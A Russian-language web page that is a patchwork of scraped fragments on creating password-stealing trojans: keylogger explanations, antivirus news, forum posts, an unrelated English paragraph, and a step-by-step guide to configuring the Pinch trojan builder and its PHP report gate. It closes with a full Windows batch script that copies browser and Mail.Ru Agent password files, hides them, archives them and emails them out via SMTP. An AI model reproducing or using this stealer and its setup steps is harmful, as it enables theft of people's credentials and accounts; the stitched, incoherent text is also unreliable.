До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

malware rat python 6 Троян на Python отработал

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Источник

Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

33f774e3b6ad4b42a11616d133a5ab2f

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

622cb4f554354418bc6d5471d9e42469

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Источник

Как Сделать Троянский Вирус Ворующий Пароли Вконтакте

Как создать вирусную программу для кражи денег

PHP DevelStudio — Полноценная среда программирования, которая позволяет создавать exe программы на языке PHP или без программирования, с помощью различных мастеров. Специалисты компании Group-IB зафиксировали новую вредоносную программу, нацеленную на POS-терминалы и кражу информации платежных карт клиентов нескольких банков США.

Исследование «Лаборатории Касперского» показало, что социальную сеть «ВКонтакте» используют в качестве площадки распространения вируса для кражи денег, сообщил ТАСС. Троян Podec устанавливается на гаджеты под ОС Android, после чего скрыто оплачивает услуги и подписывает владельца устройства на платные сервисы.

Как написать троянскую программу ворующую пароли

5. После того как зарегистрировались создаём новый аккаунт, уже на своём профиле (http://i.imgur.com/z7o6nuO.png). 6. Выбираем тарифный план Бесплатный и жмём заказать. 7. Заполняем поля (http://i.imgur.com/ga6rRfu.png), вот как я заполнил (http://i.imgur.com/UIhDSFd.png), жмём продолжить, подтверждаем что вы не робот, и заказать.

Как вирусы трояны воруют пароли и как сделать троян

автору, напиши лучше о чем то более полезном для обычного пикабутянина например как hntpw пользоваться (сброс и редактирование паролей NT) или как зашифровать оську, имхо куда полезнее. Очень много обычных пользователей сейчас столкнулись с efi и gpt, распиши человеческим языком что это и с чем едят, какие могут быть подводные камни.

Так это же самый лучший браузер для хакермана.
Ни один уважающий себя вирус не полезет на комп,где есть Амиго и прочий рассадник.
А если еще и яндекс.бар с бинг.баром поставить,то компьютер сам начнет взламывать пентагон и рассылать всем открытки с рождественским посланием

Берегитесь нового вируса – он крадет пароли сохраненные в браузере

Угроза распространяется в сети через вложения электронной почты. После проникновению на компьютер пользователя Win32/PSW.Fareit создает несколько записей в реестре и один файл, который через некоторое время после этого запускается.

С этого момента угроза мгновенно определяет и ворует информацию о системе и настройках, а также логины и пароли, которые пользователь вводит в клиентах FTP, веб-браузерах и программах, предназначенных для работы с электронной почтой.

Троян, ворующий пароли дистанционное управление пк not-a-virus: (заявка № 171981)

Добрый день, вчера словил пару неприятных вирусов. Началось с того, что Nod32 отловил пару bat файлов в папке Documents and Settings/. /Temp. Затем я начал замечать, что кто-то управляя моей мышью просматривает контакты в Skype и мои личные данные. Пока я скачивал Kaspersky Virus Removal Tool, открылся блокнот и появилась надпись: «Are you there?», после чего я отключил интернет, перезагрузил пк. Когда windows загрузился, nod отловил в оперативной памяти Win32/Pws.Fareit.A и Win32/ServStart.AD. Также я отключил службы удаленного доступа и удаленного реестра на всякий случай. Прогнал пк утилитой от касперского в обычном и безопасном режиме работы windows. Он отловил несколько файлов, после чего, nod при последующих перезагрузках перестал ругаться на вирусы в оперативной памяти.
Также я не нашел в папках program files ни radmin, ни похожих программ.

Удаление вирусов — абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

Доктор Веб: приложение — Музыка из ВК — ворует пароли — ВКонтакте

Схема очень проста, для прослушивания ВК-музыки нужно ввести свой логин и пароль в «Музыка из ВК». После этого, пользователь спокойно начинает использовать приложение по назначению, в то время, как его пароль отправляется на удаленный сервер к киберпреступникам.

Несмотря на то, что о данном трояне «Доктор Веб» узнал еще пару дней назад, тогда же и оповестил о вирусе компанию Google, но приложение все еще находится в каталоге Google Play. Если же верить статистике, то «Музыка из ВК» скачало уже свыше 12 тысяч пользователей, так что злоумышленники успели украсть не одну тысячу аккаунтов. Часть из них, по данным представителей антивируса, продается в Сети.

Как Сделать Троянский Вирус Ворующий Пароли Вконтакте

Система грузится, все чисто. Потом через великолепную помойку под названием реестр идет загрузка некоего модуля якобы системы. На самом деле это дрянь-dllка, которая ищет в памяти процесс и влезает в него. При этом сам файл на диске остается неизменным.

Самоходного ПО для ddos,спама и наиболее популярных сейчас народных промыслов, которое занимается настоящим заражением файлов, а не подгрузкой из укромных мест, сейчас почти не осталось. А вот прятаться по ntfs потокам и полиморфировать некоторые экземпляры умеют. Имел счастие лицезреть такое. Писавшим нашим ребятам, которые рулят таким ботнетом с сервака в Канаде и админкой с жизнеутверждающим названием ЦУП (Центр Управления Полетами), пользуясь случаем, передаю большой привет.

Как сделать троянский вирус ворующий пароли через блокнот

Фактически в лаборатории Касперского говорят о программе как о кибероружии. По вредоносности он ничем не уступает таким уже известным кибербандитам, как Flame, Stuxnet и Duqu. Неприятным сюрпризом для специалистов стала способность Gauss заражать USB-накопители.

Тот, кто создает трояны, умело маскирует их. Один из вариантов — замаскировать троянского коня под какую-либо полезную программу. При ее запуске вначале происходит выполнение кода трояна, который затем передает управление основной программе.

Как Сделать Троянский Вирус Ворующий Пароли Вконтакте

Затем вирус создает в Windows новую учетную запись Maestro, собирает данные из «Protected Storage» браузера Internet Explorer, из хранилища паролей браузера Firefox, и пытается отослать все украденные данные хакеру, создавшему вирус. Правда, домен, который использовался злоумышленником для получения данных, уже закрыт. Стоит отметить, что внутри вируса можно найти и некоторые данные об авторе этого ПО — есть ссылка на его страницу в Facebook и есть его электронная почта.

Все новые и новые вирусы выходят «в свет» благодаря стараниям вирусописателей, некоторые из которых весьма талантливы. Эту бы энергию да в мирное русло… Но что мечтать — давайте лучше узнаем больше о новой заразе, которая особо опасна для пользователей любимого многими браузера Mozilla Firefox. Так вот, новый вирус, Trojan-PWS-Nslog, без ведома владельца ПК может заставить браузер Firefox сохранять данные (пароли/логины) различных сайтов, посещаемых пользователем, и затем передает все это своему создателю. Обнаружен вирус стараниями специалистов компании Webroot. В продолжении — более подробная информация о зловредной программе.

Как создать свой вирус троян для кражи пароля

В результате мне предложили скачать программу, которая якобы юзает недавно найденную уязвимость контакта и позволяет взломать любую учетку. Краткое руководство по краже денег из онлайн-банкинга Территория Взлома: HackZona 28 дек 2021 Все о создании сайтов, блогов, форумов, интернет-магазинов, их продвижении в Нужно ли для этого еще использовать и какой-то троян, я не знаю. моих домашних пароли на сверхсложные, как я надеюсь, для взлома.

Краткое руководство по краже денег из онлайн-банкинга Территория Взлома: HackZona 28 дек 2021 Все о создании сайтов, блогов, форумов, интернет-магазинов, их продвижении в Нужно ли для этого еще использовать и какой-то троян, я не знаю. моих домашних пароли на сверхсложные, как я надеюсь, для взлома.

Троян TapLogger крадет пароли с Android-смартфонов

В рамках проведенной демонстрации TapLogger без труда справился с перехватом паролей, состоящих из четырех, шести и восьми цифр и беспрепятственно передал украденные конфиденциальные данные «злоумышленникам». Создатели TapLogger утверждают, что их продукт способен запоминать любые комбинации цифр, набираемые с экранной клавиатуры. Таким образом, приложение теоретически может использоваться для кражи такой конфиденциальной информации, как номера телефонов и кредитных карт.

При установке «троян» маскируется под игру-головоломку. Безобидная игровая оболочка используется не только для отвода глаз. В то время как пользователь водит пальцем по экрану и пытается обнаружить одинаковые изображения, программа собирает информацию о сенсорном дисплее, представленном в данной модели устройства. Разработчики объясняют, что благодаря этой особенности TapLogger способен выполнять свою задачу на Android-мобильниках с экранами разных размеров. Стоит также отметить, что TapLogger запускается автоматически при выходе смартфона из режима ожидания. Это означает, что программа практически не потребляет заряд аккумулятора в периоды простоя, а значит, может долгое время не вызывать у пользователя никаких подозрений.

Как создать троян ворующий пароли

Я не знаю как назвать таких которые пишут ой ето троян блабла бла не качайте так люды в чо мона же и не качать самим написать такую програму прост в инете поискать все что нада и записать вы чего мне к примеру 12 лет я уже даже немного понимаю как токе сделать а чо вы орете комут лет 30 — 40 наверна орут и бомбят вы чо

Как создать троян ворующий пароли

Для людей, что хотят постоянно совершенствоваться, чему-то обучаться и постоянно изучать что-то новое, мы специально сделали эту категорию. В ней исключительно образовательный, полезный контент, который, безусловно, придется Вам по вкусу. Большое количество видео, пожалуй, могут посоревноваться даже с образованием, которое нам дают в школе, в колледже или университете. Самым большим достоинством обучающих видео является то, что они стараются давать самую свежую, самую актуальную информацию. Мир вокруг нас в эру технологий постоянно меняется, и печатные обучающие издания просто не успевают выдавать свежую информацию.

Среди роликов также можно найти и обучающие видео для детей дошкольного возраста. Там Вашего ребенка обучат буквам, цифрам, счету, чтению и т.д. Согласитесь, очень даже неплохая альтернатива мультикам. Для учеников начальных классов также можно найти обучения английскому языку, помощь в изучении школьных предметов. Для более старших учеников созданы обучающие ролики, которые помогут подготовиться к контрольным, к экзаменам либо же просто углубить свои познания в каком-то определенном предмете. Приобретенные знания могут качественным образом сказаться на их умственном потенциале, а также Вас порадовать отличными оценками.

Воровство паролей ВКонтакте: вирус-Троян

На что только не идут злоумышленники, чтобы получить пароли от страниц пользователей ВКонтакте. Заводят задушевную переписку с доверчивыми пользователями ВК и путем не хитрых наводящих вопросов выпытывают нужную информацию – пароли, контрольные слова и тому подобное. Этот метод прозвали «социальной инженерией». Более изобретательные мошенники, не желающие тратить время на диалоги с «жертвой», создают дубликаты страниц VK (занимаются фишингом), которые, по крайней мере, с первого взгляда не отличишь от оригинала – тот же интерфейс, дизайн. Однако с небольшими изменениями в адресной строчке, которая должна выглядеть так vk.com и никаким другим образом. Зайдешь на такой фейковый сайт и все – пиши, пропало! Так же широко используются злоумышленниками различные скрипты и программы, перебирающие пароли к той или иной странице ВКонтакте, выдавая в итоге правильную комбинацию. А есть вирусы-Трояны.

Этот тип вируса, попадая в ПК (компьютер) пользователя, активируется и бессовестным образом ворует пароль от страницы ВКонтакте юзера, впоследствии передовая его непосредственно мошеннику. Места обитания вирусов-Троянов – всевозможные подозрительные программы, предлагающие пользователям разнообразные услуги на безвозмездной основе. Например, получить голоса (внутренняя виртуальная валюта социальной сети ВКонтакте) или подарки, естественно, даром. Но, как говориться, бесплатный сыр исключительно в мышеловке – поэтому не стоит устанавливать на свой ПК сомнительные софты. В конце концов, береженого – Бог бережет. Спастись же от методов, описанных в предыдущем разделе, так же можно – не стоит откровенничать с незнакомцами, внимательно смотреть, на какой адрес переходишь по ссылке, и тогда все будет в порядке.

Как создать свой вирус троян для кражи пароля в блокноте

A game is structured form of play, usually undertaken for enjoyment and sometimes used as an educational tool. Games are distinct from work, which is usually carried out for remuneration, and from art, which is more often an expression of aesthetic or ideological elements. However, the distinction is not clear-cut, and many games are also considered to be work.

Как взломать страницу ВКонтакте

Возникает вопрос «А как узнать логин?». Все очень просто. В социальной сети ВКонтакте в качестве логина пользователя может выступать e-mail или номер мобильного телефона. Поскольку у пользователей чаще всего возникает желание взломать страницу знакомого человека, узнать его номер телефона или почту не составляет труда.

Важно: Чтобы обезопасить свою страницу ВКонтакте от взлома, пользуйтесь генераторами паролей, которые позволяют создать уникальные сочетания букв, цифр и знаков препинания для максимальной защиты аккаунта.

Источник

Как написать троянскую программу ворующую пароли. Создаем троян для кражи пароля. Инструкция по создания трояна для кражи паролей

Люди!!!
Сейчас я вам расскажу как создать свой Троянский вирус (практически свой) !

Что вам нужно:
мозги-1шт., компьютер-1шт., доступ в инет-1шт., Pinch (билдер)-1шт., сервер (для отчётов Трояна)-1шт., Парсер (для расшифровывания отчётов).

Пожалуй всё…

Теперь как всегда краткая история.

Трояны
.. о них знали ещё 33 века назад

В 12 веке до н.э. Греция объявила войну городу Трое.
Конфликт возник, когда троянский принц похитил царицу Спарты Елену и объявил, что хочет сделать её своей женой. Это, естественно, обозлило греков, особенно царя Спарты. Греки осадили Трою на 10 лет, но безуспешно, т.к. Троя была хорошо укреплена.
В последнем усилии греческая армия сделала вид, что отступает и оставила позади огромного деревянного коня. Троянцы увидели коня и, подумав, что это подарок от греков, затащили коня в город, не догадываясь, что внутри пустого деревянного коня сидели лучшие греческие солдаты.
Под покровом ночи солдаты выбрались наружу, открыли ворота города и позже вместе с оставшейся армией перебили всю троянскую армию. Подобно деревянному коню, программа
Троянский конь притворяется, что делает одно, а на самом деле делает совершенно другое.

Алексей Демченко — Русский Кул Хацкер известен ещё как «aka coban2k»
Автор множества программ, а его лучшей (на мой взгляд) программой есть ПИНЧь самый распространенный Троян в интернете! Знает много языков программирования в частности: С++, Pascal, Delphi, MySQL, PHP, XML и многие другие. А вообще советую зайти на его личный сайт www.cobans.net , там найдете небольшую инфу о нем.

В частности мы рассматриваем программу ПИНЧь (Pinch 2.58)
Pinch 2.58 – это Билдер, компилятор троянских виросов… т.к. вы в билдоре задоёти определенный функции Трояну… например: украсть пороли от ICQ, TheBat, FAT, Куки браузера (это самое популярное).
НО это и не всё Pinch может также: создать/отредактировать определенный параметр в Реестре, удалить сам себя после завершения работы, создать «Синий экран смерти», или ещё лучше создать сервер (консоль) на компе жертвы (BackDoor), после чего комп жертвы это ваша собственность (в прямом смысле слова). Вы можете совершать DDOS атаки через его комп через его IP адрес, и сохранять в этот момент совой анонимный суверенитет.
Только не думайте что вашем распоряжение может быть всего один комп. У вас их может быть столько сколько вы за хотите, но это уже называется БотНет (BotNet)…

Ну вот и всё, пожалуй начнем…

Как из себя выглядит Билдер Pinch`a смотрим ниже:

Рисунок 1.1

Добавлено через 55 секунд

Теперь объясняю принцип работы Трояна…

1. Вы можете скомпилировать Троян так чтобы отчёты приходили на указанный вами Е-маил. Но вас могут спалить (тоесть ваш Троян) т.к. у вашей жертвы может стоят SP2 (Windows XP Service Pack 2)) значит и ФаирВол имеется… ФаирВол не за что не включит (без вашего разрешения) 25 порт (SMTP) значит ваш Трои не сможет отправить отчёт жертвы на Е-маил. (на такие известные почтовики как mail.ru yandex.ru и т.д. отчёты не приходят) Пользуйтесь почтовиком http://goolook.ru Но всё равно я не советую пользоваться SMTP !

2. Вы можете скомпилировать троян так чтобы отчёты приходили на указанный вами сервер.
Это безопаснее т.к. в момент отправки отчёта Pinch проявляет себя как:
Имя процесса: iexplorer.exe
Протокол: http
Удаленный адрес: www.ВАШ_СЕРВЕР.xxx/гет.php
ФаирВол не может воспрепятствовать процессу «iexplorer.exe» (а если бы и мог то вы бы на мониторе своего компа НЕ ВИДИЛИ бы не чего (кроме картинки рабочего стола))
Протокол: http:// значит и порт «80» (БЕС КОММЕНТАРИЕВ)

Так, сегодня мы будем рассматривать «2-ое» я уже говорил да (?) что это лучше.

Посмотрим ещё рас на Билдер >>>

Рисунок 1.1

1. Нажмите на вкладку «HTTP» вы берите протокол «HTTP».

2. В поле URL ведите адрес своего сайта (сервера) например: http://kuzia_lox.jino-net.ru/mailp_p/mail.php
На этом мы остоновимя поподробнее…
Чтобы Pinch прислал вам отчёты по http:// вам нужен сервер (давайте это называть проще «сайт») и так вам нужен сайт НА КОТОРОМ ДОЛЖНЫ ОБЕЗАТЕЛЬНО РАБОТАТЬ PHP СКРИПТЫ!!! Самый лучший из них это http://jino-net.ru
Правда я говорил, что есть ещё и http://onepage.ru/ ноооо сервер уничтожен.
Продолжим…
Так вот регистрируетесь на http://jino-net.ru под любым доменом под любым паролём J).
Зарегистрировались?
Думаю да…
Продолжим…
Допустим вы зарегистрировались под доменом http://petia_lox.jino-net.ru
Заходим на FTP вашего сайта. Вы знайте что такое FTP ? Эхххх… Придётся рассказать, так как вспоминаю себя…
FTP – это содержимое вашего сайта… тоесть по протоколу FTP (21 порт) вы попадайте в корень своего сайта где содержатся разные каталоги/папки/файлы и т.д.

Идём в Google.ru и качаем программу «CuteFTP»… Пожалуй я сделаю это за вас.
Идём сюда >>>
http://www.google.ru/search?hl=ru&q=CuteFTP+скачать&btnG=Поиск+в+Google&lr=
Мене так больше нравится 4-ая ссылка.
Скачать CuteFTP 7.1 + Русификатор
Идём >>>
http://gizmodo.ru/2005/07/23/skachat_cuteftp_7_1__rusifikator/
Думаю дальше вы сообразите как скачать программу и как её установить.

Добавлено через 1 минуту

Скачали, установили, русифицировали… всё продолжим…

Теперь зайдите на FTP своего сайта. Зайдите в папку /docs/ создайте в этой папке любую папку например «mail_p» дайте этой папке права CHMOD 777 (нажмите правой кнопкой мыши на папку в контекстном меню найдите параметр «CHMOD» или «Свойства» в разных версиях программы CuteFTP разный перевод)
Теперь залейте гет в эту папку (mail_p). Что такое гет?
«Гет» этот cкрипт гейта для приема отчетов от пинча имеет расширение «.php»
Его можно взять сдеся >>>
http://pinch3.ru/other/gate.txt
Создайте у себя на компе текстовый файл «Блокнот» скопируйте вес текст гейта
http://pinch3.ru/other/gate.txt <<< в свой текстовый фаил >>> дайте расширение текстовому файлу.php (был раньше.txt)

Всё скрипт готов переименуйте его в «mail» залейте его на FTP своего сайта в папку /docs/mail_p/
И дайте CHMOD права этому файлу 777.

Запомните это место теперь сюда в эту папку где находится гет (/docs/mail_p/) будут приходить отчёты.

Так пишем в поле URL (в билдере если вы не забыли ещё)
http://petia_lox.jino-net.ru/mail_p/mail.php (у вас свой адрес)

3. Смотрим >>>

Рисунок 1.2

Сделайте все флажки как у меня на рисунке 1.2
Не делайте флажок над параметром «Opera» а то отчёт не расшифруется (читаем ниже).

Можно уже компилировать… но мы рассмотрим ещё и другие дополнительный (хотя они иногда даже обязательные) функции…

Вкладка «PWD» мы уже знаем что такое )
Вкладка «Run» для эмммм скажем так для одоренния интеллекта Pinch`a тоесть для само удаления, для сохранения своих.dll в Windows`e и многое другое.
Вкладка «Spy». Отослать скриншот монитора жертвы, для сохранения КейЛога IE и т.д.
Вкладка «NET» для консольных команд PHP notify/ Остальное незнаю…
Вкладка «BD» любимый БегДор не разу не пользовался именно от Pinch`a…
Вкладка «etc» для сжатия Трояна, для изменения иконки троя.
Вкладка «Kill» для уничтожения каких-либо процессов (например ФаирВол)
Вкладка «IE» управление IE, добавление сайта в избранное, переход по ссылке.
Вкладка «Worm» незнаю… что то связанос ДНСеками.
Вкладка «IRC-bot» нууу вообщем эт для боттрака. БОТНЕТ рулит ) !!!

Возвращаемся во вкладку PWD и нажимаем кнопку (внизу) «COMPILE»

УРА!!! ТРОЯН ГОТОВ!!!

В этой статье опишу как можно быстро и без особого труда,написать и сделать вирус ворующий файлы с паролями и отправляющий всё это на почтовый ящик.
Начнём с того что вирус будет написан на bat»e(CMD,основные команды Вы можете взять ) то есть в обычном текстовом файле и будет выполняться при помощи стандартного,встроенного интреператора Windows- «командной строки».
Для того чтоб написать подобный вирус,нужно знать точное место хранения тех файлов которые и будет он воровать, компоненты Blat которые можно скачать с офф сайта http://www.blat.net/ или же с нашего сервера,так же компонент от архиватора WinRaR Rar.exe(можно обойтись и без него).
Открываем блокнот и копируем туда следующий код:

@echo off
md %systemroot%wincs
md %SystemDrive%pass
md %SystemDrive%passopera
md %SystemDrive%passMozilla
md %SystemDrive%passMailAgent
md %SystemDrive%passMailAgentreg
attrib %systemroot%wincs +h +s +r
attrib %SystemDrive%pass +h +s +r
copy /y «%systemroot%blat.exe» «%systemroot%wincsblat.exe»
copy /y «%systemroot%blat.dll» «%systemroot%wincsblat.dll»
copy /y «%systemroot%blat.lib» «%systemroot%wincsblat.lib»
CD /D %APPDATA%OperaOpera
copy /y wand.dat %SystemDrive%passoperawand.dat
copy /y cookies4.dat %SystemDrive%passoperacookies4.da
regedit.exe -ea %SystemDrive%passMailAgentregagent.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins2
regedit.exe -ea %SystemDrive%passMailAgentregagent_3.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins3
CD /D %APPDATA%
Xcopy MraBase %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y /E >nul
Xcopy MraUpdatever.txt %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y >nul
cd %AppData%MozillaFirefoxProfiles*.default
copy /y cookies.sqlite %SystemDrive%passMozillacookies.sqlite
copy /y key3.db %SystemDrive%passMozillakey3.db
copy /y signons.sqlite %SystemDrive%passMozillasignons.sqlite
copy /y %Windir%Rar.exe %SystemDrive%passRar.exe >nul
del /s /q %SystemRoot%Rar.exe
%SystemDrive%passrar.exe a -r %SystemDrive%passpass.rar %SystemDrive%pass
copy /y %SystemDrive%passpass.rar %systemroot%wincspass.rar
cd %systemroot%wincs
%systemroot%wincsblat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw Пароль
ren *.rar pass.rar
%systemroot%wincsblat.exe -body FilesPassword -to логин@yandex.ru -attach %systemroot%wincspass.rar
rmdir /s /q %SystemDrive%pass
rmdir /s /q %systemroot%wincs
del /s /q %systemroot%blat.exe
del /s /q %systemroot%blat.dll
del /s /q %systemroot%blat.lib
attrib +a +s +h +r %systemroot%wind.exe
EXIT
cls

Не много распишу код самого батинка.
@echo off
— скрывает тело батинка(так то она и не нужна,ну всё же)
md %systemroot%wincs
— создаёт папку wincs
в системной папке Windows не зависимо от того на каком диске она установлена или как она названа.
md %SystemDrive%pass
— создаёт папку pass
на диске куда установлена система Windows.
md %SystemDrive%passopera
— создаёт папку opera
куда в дальнейшем будет копироваться wand.dat
и cookies4.dat
от браузера Opera (до 11* версий опера хранит свои пароли в файле wand.dat
)
md %SystemDrive%passMozilla
— создаёт папку Mozilla
куда в дальнейшем будут копироваться файлы от браузера Mozilla (cookies.sqlite
,key3.db
,signons.sqlite
) в которых храняться пароли.
md %SystemDrive%passMailAgent
— создаёт папку MailAgent
в которую будут копироваться файлы содержащие в себе историю переписки и ключи реестра(хранящие в себе пароли) от Маил Агента.
md %SystemDrive%passMailAgentreg
— создаёт папку reg

attrib %systemroot%wincs +h +s +r
— ставит атрибуты на папку wincs
тем самым скрывая её от глаз.
attrib %SystemDrive%pass +h +s +r
— тоже самое что и выше.
copy /y «%systemroot%blat.exe» «%systemroot%wincsblat.exe»
— копирует файл blat.exe
с места выгрузки в папку wincs

copy /y «%systemroot%blat.dll» «%systemroot%wincsblat.dll»
— копирует файл blat.dll
с места выгрузки в папку wincs

copy /y «%systemroot%blat.lib» «%systemroot%wincsblat.lib»
— копирует файл blat.lib
с места выгрузки в папку wincs

CD /D %APPDATA%OperaOpera
— переходит в папку оперы где располагаются файлы с паролями (и не только) от оперы.
copy /y wand.dat %SystemDrive%passoperawand.dat
— копирует файл wand.dat
в папку opera

copy /y cookies4.dat %SystemDrive%passoperacookies4.dat
— копирует файл cookies4.dat
в папку opera

regedit.exe -ea %SystemDrive%passMailAgentregagent.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins2
— экспортирует ключ реестра magent_logins2
где хранится пароль, в папку reg

